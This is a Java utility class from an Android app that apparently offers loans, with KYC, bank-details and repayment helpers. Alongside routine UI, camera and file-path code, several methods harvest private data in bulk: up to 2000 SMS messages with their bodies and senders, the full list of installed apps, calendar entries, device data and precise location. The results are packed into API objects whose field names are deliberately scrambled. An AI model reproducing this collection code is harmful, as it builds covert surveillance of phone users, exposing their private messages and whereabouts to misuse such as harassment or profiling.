package cn.new7as.cas5s.tool.util;

import android.annotation.SuppressLint;
import android.app.Activity;
import android.content.ActivityNotFoundException;
import android.content.ContentResolver;
import android.content.ContentUris;
import android.content.Context;
import android.content.Intent;
import android.content.pm.ApplicationInfo;
import android.content.pm.PackageInfo;
import android.content.pm.PackageManager;
import android.database.Cursor;
import android.graphics.Bitmap;
import android.graphics.BitmapFactory;
import android.hardware.camera2.CameraCharacteristics;
import android.location.Address;
import android.net.Uri;
import android.os.Build;
import android.os.Bundle;
import android.os.Environment;
import android.os.FileUtils;
import android.provider.DocumentsContract;

import cn.new7as.cas5s.ui.easy.netapi.ShowPrepareApi.SaData;

import android.provider.MediaStore;
import android.provider.OpenableColumns;
import android.text.TextPaint;
import android.view.Gravity;
import android.view.ViewGroup;
import android.widget.EditText;
import android.widget.LinearLayout;

import androidx.annotation.RequiresApi;
import androidx.core.content.FileProvider;

import com.blankj.utilcode.util.SPUtils;
import com.google.gson.Gson;

import java.io.BufferedOutputStream;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.FileOutputStream;
import java.io.FileWriter;
import java.io.IOException;
import java.io.InputStream;
import java.text.SimpleDateFormat;
import java.util.ArrayList;
import java.util.Date;
import java.util.HashMap;
import java.util.List;
import java.util.concurrent.TimeUnit;


import cn.new7as.cas5s.BuildConfig;


import cn.new7as.cas5s.R;
import cn.new7as.cas5s.anhjkfu.BotText;
import cn.new7as.cas5s.tool.phut.Kchgaudf;
import cn.new7as.cas5s.tool.phut.funs.CaleHelper;
import cn.new7as.cas5s.tool.phut.funs.GerPhoneDataFuntion;

import cn.new7as.cas5s.tool.phut.funs.PhoneData;
import cn.new7as.cas5s.ui.easy.netapi.OrderApi;
import cn.new7as.cas5s.ui.easy.netapi.UpdateImageApi;
import cn.new7as.cas5s.ui.easy.netapi.UtrSendApi;
import cn.new7as.cas5s.ui.repay.RepaysActivity;

public class Utils {
    public static boolean isLogin(Context context) {
        String useruniquecode = getLogin(context);
        if (useruniquecode.isEmpty())
            return false;
        else return true;
    }

    public static void setLinerarHeight(LinearLayout mLinearLayout, int height) {
        ViewGroup.LayoutParams lp;
        lp = mLinearLayout.getLayoutParams();
        lp.width = ViewGroup.LayoutParams.MATCH_PARENT;
        lp.height = height;
        mLinearLayout.setLayoutParams(lp);
    }

    public static int check(String s) {
        if (s.equals("presonalInfo"))
            return 1;
        if (s.equals("employmentinfo"))
            return 2;
        if (s.equals("kyc"))
            return 3;
        if (s.equals("bankdetails"))
            return 4;
        return 0;
    }

    public static boolean isStr(EditText... a) {
        for (int i = 0; i < a.length; i++) {
            if (a[i].getText().toString().isEmpty())
                return false;
        }
        return true;
    }


    public static void gopay(Context context, OrderApi.Data data) {
        Intent intent = new Intent(context, RepaysActivity.class);
        Bundle bundle = new Bundle();
        data.fo = 1;
        bundle.putSerializable("ddba", data);
        intent.putExtras(bundle);
        context.startActivity(intent);
    }

    public static String getphone(Context context) {
        String useruniquecode = new SharePreferenceUtils(context).getString("phonenum", "").replace("00910", "");
        return useruniquecode;
    }

    public static String getcode(Context context) {
        String useruniquecode = new SharePreferenceUtils(context).getString("ucode", "");
        return useruniquecode;
    }

    public static boolean isInt(Integer... a) {
        for (int i = 0; i < a.length; i++) {
            if (a[i] == -1)
                return false;
        }
        return true;
    }

    public static long getFileSize(File file) throws Exception {
        long size = 0;
        if (file.exists()) {
            FileInputStream fis = null;
            fis = new FileInputStream(file);
            size = fis.available();
        } else {

        }
        return size;
    }

    public static void openAppInGooglePlay(Context context, String packageName) {
        try {
            Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("market://details?id=" + packageName));
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(intent);
        } catch (ActivityNotFoundException e) {
            Intent intent = new Intent(Intent.ACTION_VIEW, Uri.parse("https://play.google.com/store/apps/details?id=" + packageName));
            intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
            context.startActivity(intent);
        }
    }

    public static void gra(BotText botText) {
        botText.setBackgroundResource(R.drawable.enabletext);
        botText.setTextSize(16);
        botText.setGravity(Gravity.CENTER);
        TextPaint paint = botText.getPaint();
        paint.setFakeBoldText(true);
        botText.setTextColor(botText.getResources().getColor(R.color.textblack));
    }

    public static String gettime(long time){
        Date date = new Date(time);
        SimpleDateFormat sdf = new SimpleDateFormat("yyyy/MM/dd");
        return sdf.format(date);
    }


    private static final int FAST_CLICK_DELAY_TIME = 800;
    private static long lastClickTime;

    public static boolean isFastClick() {
        boolean flag = true;
        long currentClickTime = System.currentTimeMillis();
        if ((currentClickTime - lastClickTime) >= FAST_CLICK_DELAY_TIME) {
            flag = false;
        }
        lastClickTime = currentClickTime;
        return flag;
    }


    public static int getordStaus(OrderApi.Data data) {
        if (data.bankStatus == 1) {
            return 6;
        } else {
            if (data.status.equals("Overdue")) return 1;
            else if (data.status.equals("Repay")) return 2;
            else if (data.status.equals("Processing")) return 3;
            else if (data.status.equals("Refused") || data.status.equals("Failed"))
                return 4;
            else if (data.status.equals("Done")) return 5;
        }
        return 0;
    }

    private static final String file_provider = BuildConfig.APPLICATION_ID + ".photovider";

    public static File imgFile;
    public static final int CAMERA_A = 1213;

    public static void getcameimg(Activity activity, int font) {

        imgFile = new File(activity.getFilesDir(), "/ba.jpg");
        try {
            Intent intent = new Intent(MediaStore.ACTION_IMAGE_CAPTURE);

            if (font == 1) cgFront(intent, true);
            else cgFront(intent, false);
            if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.N) {
                Uri contentUri = FileProvider.getUriForFile(activity, file_provider, imgFile);
                intent.putExtra(MediaStore.EXTRA_OUTPUT, contentUri);

            } else {
                intent.putExtra(MediaStore.EXTRA_OUTPUT, Uri.fromFile(imgFile));
            }

            activity.startActivityForResult(intent, CAMERA_A);
        } catch (Exception e) {

        }


    }


    public static void cgFront(Intent cameraIntent, boolean frontFacing) {
        if (frontFacing) {
            cameraIntent.putExtra("android.intent.extras.CAMERA_FACING", CameraCharacteristics.LENS_FACING_BACK);
            cameraIntent.putExtra("android.intent.extra.USE_FRONT_CAMERA", frontFacing);

            cameraIntent.putExtra("camerafacing", "front");
            cameraIntent.putExtra("previous_mode", "front");
        } else {
            cameraIntent.putExtra("android.intent.extras.CAMERA_FACING", CameraCharacteristics.LENS_FACING_FRONT);
            cameraIntent.putExtra("android.intent.extra.USE_FRONT_CAMERA", frontFacing);

            cameraIntent.putExtra("camerafacing", "rear");
            cameraIntent.putExtra("previous_mode", "rear");
        }
    }


    public static File saveBitmapFile(Context context, Bitmap bitmap) {
        bitmap = compressImage(bitmap);
        File file = new File(context.getCacheDir(), "ba.png");
        int size = 99;
        try {
            BufferedOutputStream bos = new BufferedOutputStream(new FileOutputStream(file));
            bitmap.compress(Bitmap.CompressFormat.JPEG, size, bos);


            bos.flush();
            bos.close();
        } catch (Exception e) {
            return null;
        }
        return file;
    }


    public static Bitmap compressImage(Bitmap image) {

        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        image.compress(Bitmap.CompressFormat.JPEG, 80, baos);
        int offset = 80;
        while (baos.toByteArray().length / 1024 > 150 && offset > 0) {

            baos.reset();
            image.compress(Bitmap.CompressFormat.JPEG, offset, baos);
            offset -= 9;
        }

        ByteArrayInputStream isBm = new ByteArrayInputStream(baos.toByteArray());

        Bitmap bitmap = BitmapFactory.decodeStream(isBm, null, null);
        return bitmap;
    }


    public static PhoneData getCdata(Activity activity) {

        return GerPhoneDataFuntion.INSTANCE.getDeviceData(activity);

    }

    public static void writes(String astring, File file) {
        FileWriter writer = null;
        try {
            Des des = new Des();
            writer = new FileWriter(file);
            writer.write(des.encrypt(astring));
            writer.close();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public static Bitmap getBitmapFromUri(Activity activity, Uri uri) {
        Bitmap bitmap = null;
        try {
            bitmap = BitmapFactory.decodeStream(activity.getContentResolver().openInputStream(uri));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        return bitmap;
    }


    public static Uri getUri(Activity activity) {
        return FileProvider.getUriForFile(activity, file_provider, imgFile);
    }

    public static void go(Context context, Class classs) {
        context.startActivity(new Intent(context, classs));
    }

    public static void goextra(Context context, Class classs, String data) {
        Intent intent = new Intent(context, classs);
        intent.putExtra("data", data);
        context.startActivity(intent);
    }

    public static void goLogin(Context context, Class classs, String data, int count, int dur, long total) {
        Intent intent = new Intent(context, classs);
        intent.putExtra("data", data);
        intent.putExtra("count", count);
        intent.putExtra("dur", dur);
        intent.putExtra("total", total);
        context.startActivity(intent);
    }

    public static void goextratt(Context context, Class classs, String data, String title) {
        Intent intent = new Intent(context, classs);
        intent.putExtra("data", data);
        intent.putExtra("title", title);
        context.startActivity(intent);
    }

    public static String getLogin(Context context) {
        SharePreferenceUtils spUtils = new SharePreferenceUtils(context);
        String useruniquecode = spUtils.getString("useruniquecode", "");
        return useruniquecode;
    }

    private String getUrl(List<UtrSendApi.Data> data) {
        String url = "";
        for (UtrSendApi.Data bean : data
        ) {
            if (bean.hjadkvsa != null && !bean.hjadkvsa.isEmpty())
                url += bean.hjadkvsa + ",";
        }
        if (url.length() > 0)
            url = url.substring(0, url.length() - 1);
        return url;
    }

    public static List<String> getList(List<UtrSendApi.Data> data) {
        List<String> strings = new ArrayList<>();
        for (UtrSendApi.Data bean : data
        ) {
            if (bean.hjadkvsa != null && !bean.hjadkvsa.isEmpty())
                strings.add(bean.hjadkvsa);
        }

        return strings;
    }

    public static String getdate(long milliseconds) {
        Date date = new Date(milliseconds);


        SimpleDateFormat sdf = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");


        String formattedDate = sdf.format(date);
        return formattedDate;
    }


    public static String getFileAbsolutePath(Context context, Uri imageUri) {
        if (context == null || imageUri == null) {
            return null;
        }

        if (android.os.Build.VERSION.SDK_INT < android.os.Build.VERSION_CODES.KITKAT) {
            return getRealFilePath(context, imageUri);
        }

        if (android.os.Build.VERSION.SDK_INT >= android.os.Build.VERSION_CODES.KITKAT && android.os.Build.VERSION.SDK_INT < Build.VERSION_CODES.Q && DocumentsContract.isDocumentUri(context, imageUri)) {
            if (isExternalStorageDocument(imageUri)) {
                String docId = DocumentsContract.getDocumentId(imageUri);
                String[] split = docId.split(":");
                String type = split[0];
                if ("primary".equalsIgnoreCase(type)) {
                    return Environment.getExternalStorageDirectory() + "/" + split[1];
                }
            } else if (isDownloadsDocument(imageUri)) {
                String id = DocumentsContract.getDocumentId(imageUri);
                Uri contentUri = ContentUris.withAppendedId(Uri.parse("content://downloads/public_downloads"), Long.valueOf(id));
                return getDataColumn(context, contentUri, null, null);
            } else if (isMediaDocument(imageUri)) {
                String docId = DocumentsContract.getDocumentId(imageUri);
                String[] split = docId.split(":");
                String type = split[0];
                Uri contentUri = null;
                if ("image".equals(type)) {
                    contentUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI;
                } else if ("video".equals(type)) {
                    contentUri = MediaStore.Video.Media.EXTERNAL_CONTENT_URI;
                } else if ("audio".equals(type)) {
                    contentUri = MediaStore.Audio.Media.EXTERNAL_CONTENT_URI;
                }
                String selection = MediaStore.Images.Media._ID + "=?";
                String[] selectionArgs = new String[]{split[1]};
                return getDataColumn(context, contentUri, selection, selectionArgs);
            }
        } // MediaStore (and general)
        if (android.os.Build.VERSION.SDK_INT >= Build.VERSION_CODES.Q) {
            return uriToFileApiQ(context, imageUri);
        } else if ("content".equalsIgnoreCase(imageUri.getScheme())) {
            // Return the remote address
            if (isGooglePhotosUri(imageUri)) {
                return imageUri.getLastPathSegment();
            }
            return getDataColumn(context, imageUri, null, null);
        }
        // File
        else if ("file".equalsIgnoreCase(imageUri.getScheme())) {
            return imageUri.getPath();
        }
        return null;
    }

    //
    private static String getRealFilePath(final Context context, final Uri uri) {
        if (null == uri) {
            return null;
        }
        final String scheme = uri.getScheme();
        String data = null;
        if (scheme == null) {
            data = uri.getPath();
        } else if (ContentResolver.SCHEME_FILE.equals(scheme)) {
            data = uri.getPath();
        } else if (ContentResolver.SCHEME_CONTENT.equals(scheme)) {
            String[] projection = {MediaStore.Images.ImageColumns.DATA};
            Cursor cursor = context.getContentResolver().query(uri, projection, null, null, null);

//            Cursor cursor = context.getContentResolver().query(uri, new String[]{MediaStore.Images.ImageColumns.DATA}, null, null, null);
            if (null != cursor) {
                if (cursor.moveToFirst()) {
                    int index = cursor.getColumnIndex(MediaStore.Images.ImageColumns.DATA);
                    if (index > -1) {
                        data = cursor.getString(index);
                    }
                }
                cursor.close();
            }
        }
        return data;
    }


    /**
     * @param uri The Uri to check.
     * @return Whether the Uri authority is ExternalStorageProvider.
     */
    private static boolean isExternalStorageDocument(Uri uri) {
        return "com.android.externalstorage.documents".equals(uri.getAuthority());
    }

    /**
     * @param uri The Uri to check.
     * @return Whether the Uri authority is DownloadsProvider.
     */
    private static boolean isDownloadsDocument(Uri uri) {
        return "com.android.providers.downloads.documents".equals(uri.getAuthority());
    }

    private static String getDataColumn(Context context, Uri uri, String selection, String[] selectionArgs) {
        Cursor cursor = null;
        String column = MediaStore.Images.Media.DATA;
        String[] projection = {column};
        try {
            cursor = context.getContentResolver().query(uri, projection, selection, selectionArgs, null);
            if (cursor != null && cursor.moveToFirst()) {
                int index = cursor.getColumnIndexOrThrow(column);
                return cursor.getString(index);
            }
        } finally {
            if (cursor != null) {
                cursor.close();
            }
        }
        return null;
    }

    /**
     * @param uri The Uri to check.
     * @return Whether the Uri authority is MediaProvider.
     */
    private static boolean isMediaDocument(Uri uri) {
        return "com.android.providers.media.documents".equals(uri.getAuthority());
    }

    /**
     * @param uri The Uri to check.
     * @return Whether the Uri authority is Google Photos.
     */
    private static boolean isGooglePhotosUri(Uri uri) {
        return "com.google.android.apps.photos.content".equals(uri.getAuthority());
    }


    public static SaData getsinfo(Context context) {
        Uri smsstr = Uri.parse("content://sms/");
        SaData saData = new SaData();
        List<SaData.SchildData> list = new ArrayList<>();
        saData.setDataList(list);
        SharePreferenceUtils spUtils = new SharePreferenceUtils(context);
        int days = spUtils.getInt("days", 60);
        int count = spUtils.getInt("count", 2000);
        try {
            ContentResolver cr = context.getContentResolver();
            String[] projection = new String[]{"_id", "address", "person", "body", "date", "type"};
            Cursor cur = cr.query(smsstr, projection, null, null, "date desc");
            if (null == cur) {

                return null;
            }

            int i = 1;
            while (cur.moveToNext()) {
                @SuppressLint("Range") String body = cur.getString(cur.getColumnIndex("body"));
                @SuppressLint("Range") long date = cur.getLong(cur.getColumnIndex("date"));
                @SuppressLint("Range") int type = cur.getInt(cur.getColumnIndex("type"));
                @SuppressLint("Range") String number = cur.getString(cur.getColumnIndex("address"));
                @SuppressLint("Range") String name = cur.getString(cur.getColumnIndex("person"));


                SaData.SchildData schildData = new SaData.SchildData();
                schildData.setContent(body);
                schildData.setName(number);
                schildData.setTime(dateFormat.format(date));
                schildData.setTYPE(type > 2 ? "2" : type + "");
                long diffInDays = TimeUnit.MILLISECONDS.toDays(Math.abs(System.currentTimeMillis() - date));
                if (diffInDays <= days) {
                    list.add(schildData);
                } else {
                    if (i == count) {
                        list.add(schildData);
                        return saData;
                    } else if (i > count) {
                        return saData;
                    } else if (i < count) {
                        list.add(schildData);
                    }
                }
                i++;
            }
            return saData;
        } catch (Exception e) {
            saData.setException(e);
        }

        return saData;
    }

    public static void savelocal(Address address) {
        Kchgaudf kchgaudf = new Kchgaudf();
        kchgaudf.setOzezkTqiSwcMgsAbnrh(address.getAddressLine(0));
        kchgaudf.setFjgJcjvJclsj(address.getLongitude());
        kchgaudf.setDbsyaAjdAbj(address.getLatitude());
        kchgaudf.setQitcgFcinHceoLcquhDds(address.getCountryName());
        kchgaudf.setFrtVmzYzntDhds(address.getAdminArea());
        kchgaudf.setGctkKtvbxLamcuVwehTdhy(address.getLocality());
        kchgaudf.setFjpgKcqbNmfiWgv(address.getSubLocality());

        kchgaudf.setLddMsddVxbwsTwmf(address.getFeatureName());
        kchgaudf.setVyinkEjirpZajx("PRIORITY_LOW_POWER");
        SPUtils.getInstance().put("loposition", new Gson().toJson(kchgaudf));
    }


    /**
     * Android 10
     *
     * @param context
     * @param uri
     * @return
     */
    @RequiresApi(api = Build.VERSION_CODES.Q)
    private static String uriToFileApiQ(Context context, Uri uri) {
        File file = null;

        if (uri.getScheme().equals(ContentResolver.SCHEME_FILE)) {
            file = new File(uri.getPath());
        } else if (uri.getScheme().equals(ContentResolver.SCHEME_CONTENT)) {

            ContentResolver contentResolver = context.getContentResolver();
            Cursor cursor = contentResolver.query(uri, null, null, null, null);
            if (cursor.moveToFirst()) {
                @SuppressLint("Range") String displayName = cursor.getString(cursor.getColumnIndex(OpenableColumns.DISPLAY_NAME));
                try {
                    InputStream is = contentResolver.openInputStream(uri);
                    File cache = new File(context.getFilesDir().getAbsolutePath(), Math.round((Math.random() + 1) * 1000) + displayName);
                    FileOutputStream fos = new FileOutputStream(cache);
                    FileUtils.copy(is, fos);
                    file = cache;
                    fos.close();
                    is.close();
                } catch (IOException e) {
                    e.printStackTrace();
                    return null;
                }
            }
        }
        return file.getAbsolutePath();
    }

    public static String getCalendarInfonew(Activity context) {
        HashMap<String, String> map = new HashMap<>();
        try {
            String calenderSchedule = CaleHelper.Companion.getInstance().getCalenderSchedule(context);
            map.put("lnvuKvydbOksNabm", calenderSchedule);
        } catch (Exception e) {
            map.put("hdaaHtgZxxTyr", e.toString());
        }

        return new Gson().toJson(map);
    }

    static SimpleDateFormat dateFormat = new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");

    public static UpdateImageApi.AsjbkjvInsk getAllAppInfo(boolean isFilterSystem, Context context) {

        UpdateImageApi.AsjbkjvInsk asjbkjvInsk = new UpdateImageApi.AsjbkjvInsk();
        List<UpdateImageApi.AsjbkjvInsk.HjksjsData> dataList = new ArrayList<>();
        asjbkjvInsk.setDataList(dataList);

        PackageManager packageManager = context.getPackageManager();

        List<PackageInfo> list = packageManager.getInstalledPackages(0);
        for (PackageInfo p : list) {
            UpdateImageApi.AsjbkjvInsk.HjksjsData data = new UpdateImageApi.AsjbkjvInsk.HjksjsData();
            data.setInstallTime(dateFormat.format(p.firstInstallTime));
            data.setName(packageManager.getApplicationLabel(p.applicationInfo).toString());
            data.setId(p.packageName);

            int flags = p.applicationInfo.flags;

            if ((flags & ApplicationInfo.FLAG_SYSTEM) != 0 && isFilterSystem) {
                data.setSystem(true);
                dataList.add(data);
            } else {
                dataList.add(data);
            }
        }
        return asjbkjvInsk;
    }
}
